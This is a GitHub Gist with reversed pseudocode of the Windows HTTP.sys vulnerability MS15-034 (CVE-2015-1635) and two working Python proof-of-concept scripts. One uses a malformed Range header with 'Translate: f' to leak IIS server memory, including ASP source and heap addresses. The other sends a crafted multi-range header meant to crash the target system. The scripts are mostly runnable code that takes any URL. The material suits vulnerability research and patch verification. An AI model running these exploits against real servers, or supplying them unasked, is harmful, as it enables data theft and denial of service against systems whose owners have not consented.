Last active
July 30, 2021 04:18
-
-
Save worawit/54f2e5a7a1a028191f76 to your computer and use it in GitHub Desktop.
MS15-034 (CVE-2015-1635) PoCs
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Pseudo code in HTTP.sys to understand flow related to MS15-034 | |
All pseudo code are reversed from vulnerable HTTP.sys on Windows 7 SP1 x86 | |
For anyone want to know what function are patched. | |
Just open patched version and find all functions reference to RtlULongLongAdd(). | |
*/ | |
/***************************** | |
* handling http request | |
*****************************/ | |
// the received request buffers are processed in UlpParseNextRequest(). | |
NTSTATUS UlpParseNextRequest() | |
{ | |
while (!doneParseHttpRequest) { | |
// fetch next request buffer | |
// ... | |
// parse request text to request struct | |
UlParseHttp(); | |
// Note: UlContentRangeHeaderHandler() convert Range header string to | |
// array of HTTP_BYTE_RANGE struct. | |
// From RFC Range header value is inclusive range, so range length | |
// must be end-start+1. | |
// ... | |
} | |
UlpDeliverHttpRequest(); | |
} | |
NTSTATUS UlpDeliverHttpRequest() | |
{ | |
if (UlCheckCachePreconditions(req) && doSendCachedResponse) { | |
UlSendCachedResponse(); | |
} | |
// ... | |
if (!doSendCachedResponse || sendCachedResponseFailed) { | |
UlDeliverRequestToProcess(); // dispatch HTTP_REQUEST to w3wp.exe process | |
} | |
} | |
char UlCheckCachePreconditions(req) | |
{ | |
req->flags |= 2u; | |
if (UlpQueryTranslateHeader(req)) { | |
// has 'Translate' header with value 'f' or 'F' | |
req->flags &= 0xFFFFFFFD; | |
} | |
else if (req->hasHdrFileds[HttpHeaderAuthorization]) { | |
req->flags &= 0xFFFFFFFD; | |
// ... | |
} | |
else if (!g_UriCacheConfig.uriEnableCache || xxx) { | |
req->flags &= 0xFFFFFFFD; | |
// ... | |
} | |
return (req->flags >> 1) & 1; | |
} | |
/**************************************************************/ | |
/****************************************** | |
* handling http response from w3wp.exe | |
******************************************/ | |
// UlSendHttpResponseIoctl() in HTTP.sys is used to handle HTTP_RESPONSE from w3wp.exe process | |
NTSTATUS UlSendHttpResponseIoctl(PIRP Irp, PIO_STACK_LOCATION StackLocation) | |
{ | |
doCacheResponse = 0; | |
if (HTTP_RESPONSE->pCachePolicy.Policy) { | |
doCacheResponse = (req->flags >> 1) & 1; // this bit is (un)set in UlCheckCachePreconditions() | |
} | |
// copy and convert HTTP_RESPONSE to internel HTTP.sys response struct | |
UlCaptureHttpResponse(&resp); | |
if (!doCacheResponse || (UlCacheAndSendResponse(req, resp, ..., &cacheSuccess) >= 0 && !cacheSuccess)) { | |
// UlSendHttpResponse() below is safe path for leaking info in user space | |
UlSendHttpResponse(req, resp, ...); | |
} | |
} | |
// The UlpBuildSliceRangeMdl() function is called when sending data from cache. | |
// Normally, UlSendCachedResponse() and UlCacheAndSendResponse() functions use | |
// this function. | |
// Note: this path for leaking info is not safe (might crash target OS) | |
void UlpBuildSliceRangeMdl(ULONGLONG sliceStart, void *out, PMDL sliceMdl, HTTP_BYTE_RANGE *range) | |
{ | |
PMDL outMdl; | |
DWORD sliceSize; | |
DWORD sliceOutSize; | |
DWORD sliceOffset; | |
// find slice offset | |
sliceOffset = 0; | |
if (range->StartingOffset > sliceStart) | |
sliceOffset = range->StartingOffset - sliceStart; | |
// find this slice size | |
sliceSize = sliceMdl->ByteCount; | |
rangeSize = range->Length; | |
if (sliceStart + sliceSize > range->StartingOffset + range->Length) { | |
// when overflowed, range->StartingOffset + range->Length == 0 | |
// so sliceSize = -sliceStart; | |
// normally, sliceStart is 0 | |
sliceSize = range->StartingOffset + range->Length - sliceStart; | |
} | |
// compute the used length | |
sliceOutSize = sliceSize - sliceOffset; // when overflowed, sliceOutSize is very large | |
// compute the start address | |
sliceOutAddr = sliceMdl->StartVa + sliceMdl->ByteOffset + sliceOffset; | |
// allocate MDL | |
outMdl = IoAllocateMdl(sliceOutAddr, sliceOutSize, 0, 0, 0); | |
// ... assign outMdl to out ... | |
if (outMdl) { | |
// when overflowed, sliceOutSize normally is 0xff?????? | |
// - number of PFN is 0xff?????? >> 12 = 0x003f???? ~ 1M | |
// below IoBuildPartialMdl might crash a OS because the memory address | |
// after sliceMdl is invalid. | |
// even if IoBuildPartialMdl() returns successfully, PFN array of outMdl | |
// might contain invalid PFN. | |
// Note: outMdl flag is MDL_SOURCE_IS_NONPAGED_POOL | MDL_PARTIAL | |
IoBuildPartialMdl(sliceMdl, outMdl, sliceOutAddr, sliceOutSize); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
""" | |
MS15-034 (CVE-2015-1635) proof of concept to do information leak | |
This PoC is safe to run against vulnerable target. No crash the IIS server or OS. | |
From the pseudocode, if the request header "Translate: f" is presented, HTTP.sys | |
will call UlSendHttpResponse() for sending response. This function does not make | |
IIS or OS crashed even Range length is invalid. | |
With "Translate: f" header, the HTTP.sys will not cache response, so HTTP.sys uses | |
data from user space memory. The result is HTTP.sys will read and send data from | |
user space memory until accessing invalid memory address. But sending data use buffer | |
about 64KB. If accessing invalid memory address is found before data buffer is full, | |
all buffered data is discard. So there is a chance to get nothing or missing some | |
trail data in memory chunk. | |
Here is what you can get from this PoC | |
- leak ASP source code | |
- determine the target architecture (32 bit or 64 bit) | |
- leak some valid heap address in remote w3wp.exe | |
- other static files (useless) | |
Other code paths for leaking data are in UlSendCachedResponse() and UlCacheAndSendResponse(). | |
These 2 functions use UlpBuildSliceRangeMdl() for building chunk. These path | |
might crash target OS as explained in psuedocode comment. | |
Note: To exploit these paths read (I'm lazy to explain) | |
- http://blog.trendmicro.com/trendlabs-security-intelligence/iis-at-risk-an-in-depth-look-into-cve-2015-1635/ | |
- http://www.securitysift.com/an-analysis-of-ms15-034/ | |
A 'If-Range:' header might be needed (I cannot remember) if you want code to | |
call UlSendCachedResponse(). | |
""" | |
import sys | |
import urllib2 | |
import socket | |
if len(sys.argv) < 2: | |
print('{} url [contentLength]'.format(sys.argv[0])) | |
sys.exit(1) | |
url = sys.argv[1] | |
if len(sys.argv) > 2: | |
contentLength = int(sys.argv[2]) | |
else: | |
req = urllib2.Request(url) | |
req.get_method = lambda : 'HEAD' | |
resp = urllib2.urlopen(req) | |
contentLength = int(resp.info()['Content-Length']) | |
resp.close() | |
print('contentLength: {:d}'.format(contentLength)) | |
def dump_data(offset, tail_length): | |
req = urllib2.Request(url) | |
req.add_header('Range', 'bytes={:d}-18446744073709551615'.format(offset)) | |
req.add_header('Translate', 'f') | |
resp = None | |
data = "" | |
try: | |
resp = urllib2.urlopen(req) | |
if tail_length > 0: | |
resp.read(tail_length) | |
while True: | |
data += resp.read(1) | |
resp.close() | |
except socket.error as e: | |
if resp is not None: | |
resp.close() | |
return data | |
tail_length = 60000 | |
offset = contentLength - tail_length | |
if offset < 2: | |
offset = 2 | |
tail_length = contentLength - 2 | |
data = dump_data(offset, tail_length) | |
if len(data) > 0: | |
print(data) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python2 | |
""" | |
MS15-034 (CVE-2015-1635) proof of concept to corrupt memory | |
Note: I have no idea how to turn this memory corruption into code execution. | |
There might be other way to trigger memory corruption but I do not find them. | |
This PoC causes the target to crash in UlpCreateCacheRangeSliceTracker(). | |
Normally, w3wp.exe pass response chunk as file handle or buffer to HTTP.sys. | |
g_UriCacheConfig.uriMaxUriBytes in HTTP.sys is maximum size for response body | |
to be cached in HTTP.sys. The default value is 256KB. | |
When a full content size of request file is more than 256KB and request range | |
is less than 256KB, HTTP.sys slice the content to be cache. Each maximum slice | |
size is g_UriCacheConfig.uriMaxUriBytes (default value is 64KB). | |
Here are condition for HTTP.sys to build range cache with UlpCreateCacheRangeSliceTracker(): | |
- UlAdjustRangesToContentSize() returned value is <= 256KB | |
- UlpGetRangeSliceCount() returned value is <= 256KB/64KB = 4 | |
- rangeStart must be less than contentSize | |
When a full content size of request file is more than 256KB, cache is sliced in to 64KB pieces | |
Below is a partial pseudocode of UlpCreateCacheRangeSliceTracker() | |
DOWRD i = 0; | |
DWORD sliceNo = rangeStart / 65536; | |
DWORD sliceEnd = (rangeEnd - 1) / 65536; | |
while (sliceNo <= sliceEnd) | |
useSlice[i++] = sliceNo++; // Note: useSlice array of DWORD allocated on stack | |
With the corrupted range, sliceEnd is always 0xffffffff. In this PoC I use | |
rangeStart 65538, which is sliceNo 1, so the above loop will start from 1. | |
If you want sliceNo to start with 0x00xxxxxx, you need to find a file size | |
2^(24+16) = 2^40 = 1TB on target. | |
""" | |
import socket | |
import sys | |
import urllib2 | |
if len(sys.argv) < 2: | |
print('{} url [contentLength]'.format(sys.argv[0])) | |
sys.exit(1) | |
url = sys.argv[1] | |
if len(sys.argv) > 2: | |
contentLength = int(sys.argv[2]) | |
else: | |
req = urllib2.Request(url) | |
req.get_method = lambda : 'HEAD' | |
resp = urllib2.urlopen(req) | |
contentLength = int(resp.info()['Content-Length']) | |
resp.close() | |
print('contentLength: {:d}'.format(contentLength)) | |
if contentLength <= (256*1024): | |
print('This PoC requires request target size more than 256KB') | |
sys.exit(0) | |
req = urllib2.Request(url) | |
req.add_header('Range', 'bytes=65538-18446744073709551615,65540-131078,3-4') | |
try: | |
resp = urllib2.urlopen(req) | |
# the remote target should crash now | |
resp.close() | |
except: | |
pass |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment